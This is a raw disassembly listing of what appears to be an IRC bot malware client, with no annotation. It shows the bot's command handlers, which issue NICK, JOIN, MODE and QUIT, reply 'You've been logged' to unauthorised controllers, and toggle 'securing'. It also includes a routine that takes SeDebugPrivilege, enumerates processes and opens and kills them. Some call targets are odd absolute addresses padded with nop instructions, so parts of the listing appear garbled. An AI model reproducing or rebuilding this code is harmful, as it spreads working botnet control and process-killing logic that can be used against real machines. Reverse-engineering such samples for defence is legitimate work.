loc_414816:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414835
		push	ebx
		push	[ebp+var_4]
		push	offset dword_435720
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414835:				; CODE XREF: sub_40EE72+59A7j
		push	[ebp+arg_4]
		call	dword_43F700
		call	dword_43F5C8
		call	sub_40AC42
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_414850:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356F8
		jmp	loc_4145BB
; ---------------------------------------------------------------------------


loc_41487E:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356D0
		jmp	loc_4145BB
; ---------------------------------------------------------------------------


loc_4148B0:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_4148C9:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_414908
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414908
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414908
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_414908:				; CODE XREF: sub_40EE72+5A60j
					; sub_40EE72+5A6Bj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4356A8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4149AB


loc_414995:				; CODE XREF: sub_40EE72+5B37j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_414995
; ---------------------------------------------------------------------------


loc_4149AB:				; CODE XREF: sub_40EE72+5B21j
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset dword_435660
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4149BC:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_435638
		call	sub_40BF6D
		jmp	loc_414528
; ---------------------------------------------------------------------------


loc_4149DC:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A36
		push	offset dword_435634
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3C
; ---------------------------------------------------------------------------


loc_414A36:				; CODE XREF: sub_40EE72+5BA8j
		mov	[ebp+var_46C], ebx


loc_414A3C:				; CODE XREF: sub_40EE72+5BC2j
		lea	eax, [ebp+var_2DC]
		push	offset dword_435608
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416DC5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414AA6


loc_414A94:				; CODE XREF: sub_40EE72+5C32j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC1
		push	32h
		call	near ptr 260086Bh
		nop
		jmp	short loc_414A94
; ---------------------------------------------------------------------------


loc_414AA6:				; CODE XREF: sub_40EE72+5C20j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_4355C0


loc_414AB2:				; CODE XREF: sub_40EE72+489Dj
					; sub_40EE72+49B9j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_414AC1:				; CODE XREF: sub_40EE72+4527j
					; sub_40EE72+453Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------


loc_414ACD:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_435598
		jmp	short loc_414AEB
; ---------------------------------------------------------------------------


loc_414AD9:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_43555C


loc_414AEB:				; CODE XREF: sub_40EE72+5C65j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_414B18:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4A
		cmp	[ebp+var_C], ebx
		jz	short loc_414B59
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B59
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B59
; ---------------------------------------------------------------------------


loc_414B4A:				; CODE XREF: sub_40EE72+5CAFj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx


loc_414B59:				; CODE XREF: sub_40EE72+5CB4j
					; sub_40EE72+5CC3j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------


loc_414B60:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_43550C
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414B82:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4354CC
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414BA3:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF4
; ---------------------------------------------------------------------------


loc_414BB9:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_4354BC
		push	offset dword_4354B0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BD1:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_4354A4
		push	offset dword_435494
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_414BE9:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C08
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C08
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0D
; ---------------------------------------------------------------------------


loc_414C08:				; CODE XREF: sub_40EE72+5D80j
					; sub_40EE72+5D8Bj
		mov	eax, dword_42F5A8


loc_414C0D:				; CODE XREF: sub_40EE72+5D94j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C32
		push	esi


loc_414C1F:				; CODE XREF: sub_40EE72+5DCFj
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C49
; ---------------------------------------------------------------------------


loc_414C32:				; CODE XREF: sub_40EE72+5DAAj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C43
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C1F
; ---------------------------------------------------------------------------


loc_414C43:				; CODE XREF: sub_40EE72+5DC6j
		mov	[ebp+var_488], bl


loc_414C49:				; CODE XREF: sub_40EE72+5DBEj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414CFA


loc_414CE4:				; CODE XREF: sub_40EE72+5E86j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_414CE4
; ---------------------------------------------------------------------------


loc_414CFA:				; CODE XREF: sub_40EE72+5E70j
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset unk_43544C
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_414D0B:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D33
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3D


loc_414D33:				; CODE XREF: sub_40EE72+5EA8j
		mov	[ebp+var_46C], 1


loc_414D3D:				; CODE XREF: sub_40EE72+5EBFj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D84
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_414D84:				; CODE XREF: sub_40EE72+5F0Bj
		push	eax
		push	offset dword_435400
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F26
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414DF4


loc_414DE2:				; CODE XREF: sub_40EE72+5F80j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E0F
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_414DE2
; ---------------------------------------------------------------------------


loc_414DF4:				; CODE XREF: sub_40EE72+5F6Ej
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset unk_4353B4


loc_414E00:				; CODE XREF: sub_40EE72+3DA5j
					; sub_40EE72+4AC1j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_414E0F:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+3959j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------


loc_414E20:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_435394
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_414E2F:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E8F
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E84
		cmp	eax, 2
		jge	short loc_414E84
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E79
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414E79:				; CODE XREF: sub_40EE72+5FE6j
		push	eax
		push	offset dword_435358
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E84:				; CODE XREF: sub_40EE72+5FD1j
					; sub_40EE72+5FD6j
		push	eax
		push	offset dword_43531C
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414E8F:				; CODE XREF: sub_40EE72+5FC6j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_414E94:				; CODE XREF: sub_40EE72+603Ej
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB7
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E94
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_414EB7:				; CODE XREF: sub_40EE72+6032j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438738
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_414ED1:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F45
		call	sub_416F23
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_414EF3:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42F5CC
		push	eax
		call	sub_415CFF
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_4352E8


loc_414F3E:				; CODE XREF: sub_40EE72+4344j
					; sub_40EE72+49D7j ...
		call	sub_40BFE1
		pop	ecx


loc_414F44:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx


loc_414F45:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_414F4D:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_4387B4 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_43C824
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_4352E4 ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEC
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_43525C
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_414FEC:				; CODE XREF: sub_40EE72+6136j
		mov	[ebp+arg_24], offset off_42F6C8


loc_414FF3:				; CODE XREF: sub_40EE72+619Dj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415053
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6CC
		jb	short loc_414FF3
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_435220
		jmp	loc_40F813
; ---------------------------------------------------------------------------


loc_415053:				; CODE XREF: sub_40EE72+6190j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_415058:				; CODE XREF: sub_40EE72+6210j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_415078
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415089


loc_415078:				; CODE XREF: sub_40EE72+61F1j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_415058
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_415089:				; CODE XREF: sub_40EE72+6204j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C0
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4351F4
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4150C0:				; CODE XREF: sub_40EE72+6232j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4351C4
		jmp	loc_40F422
; ---------------------------------------------------------------------------


loc_4150D1:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	dword_489DCC, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511D	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2780E84h
		nop
		push	eax
		call	dword_43F64C
		test	eax, eax
		jnz	short loc_41513C
		leave
		retn
; ---------------------------------------------------------------------------


loc_41513C:				; CODE XREF: sub_41511D+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43F624
		test	eax, eax
		jz	short loc_41517A
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415163
		or	[ebp+var_8], 2
		jmp	short loc_415167
; ---------------------------------------------------------------------------


loc_415163:				; CODE XREF: sub_41511D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_415167:				; CODE XREF: sub_41511D+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43F6D4
		mov	esi, eax


loc_41517A:				; CODE XREF: sub_41511D+32j
		push	[ebp+var_4]
		call	near ptr 26217F0h
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415188	proc near		; CODE XREF: sub_40EE72+4B66p
					; sub_415339+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43F688, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415332
		cmp	dword_43F66C, ebx
		jz	loc_415332
		cmp	dword_43F588, ebx
		jz	loc_415332
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43F688
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415325
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43F66C
		mov	esi, dword_424078
		test	eax, eax
		jz	loc_415320


loc_41522B:				; CODE XREF: sub_415188+BEj
					; sub_415188+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43F588
		test	eax, eax
		jz	loc_415320
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522B
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152D8
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522B
		push	[ebp+var_124]
		push	8
		call	dword_43F688
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415295
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43F534
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529B
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A1
; ---------------------------------------------------------------------------


loc_415295:				; CODE XREF: sub_415188+EBj
		push	[ebp+var_124]


loc_41529B:				; CODE XREF: sub_415188+103j
		lea	eax, [ebp+var_108]


loc_4152A1:				; CODE XREF: sub_415188+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41522B
; ---------------------------------------------------------------------------


loc_4152D8:				; CODE XREF: sub_415188+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522B
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		nop
		call	near ptr 2710724h
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		nop
		call	near ptr 27D0C34h
		test	eax, eax
		jnz	short loc_41531B
		push	edi
		call	esi
		jmp	short loc_415332
; ---------------------------------------------------------------------------


loc_41531B:				; CODE XREF: sub_415188+18Cj
		push	1
		pop	eax
		jmp	short loc_415334
; ---------------------------------------------------------------------------


loc_415320:				; CODE XREF: sub_415188+9Dj
					; sub_415188+B5j
		push	[ebp+var_4]
		call	esi


loc_415325:				; CODE XREF: sub_415188+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx


loc_415332:				; CODE XREF: sub_415188+3Aj
					; sub_415188+46j ...
		xor	eax, eax


loc_415334:				; CODE XREF: sub_415188+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415188	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415339	proc near		; DATA XREF: sub_40EE72+595Ao

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_438838
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172AE
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_415398
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


loc_415398:				; CODE XREF: sub_415339+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_415188
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C0
		push	offset unk_438800
		jmp	short loc_4153C5
; ---------------------------------------------------------------------------


loc_4153C0:				; CODE XREF: sub_415339+7Ej
		push	offset unk_4387C8


loc_4153C5:				; CODE XREF: sub_415339+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153F8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h


loc_4153F8:				; CODE XREF: sub_415339+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
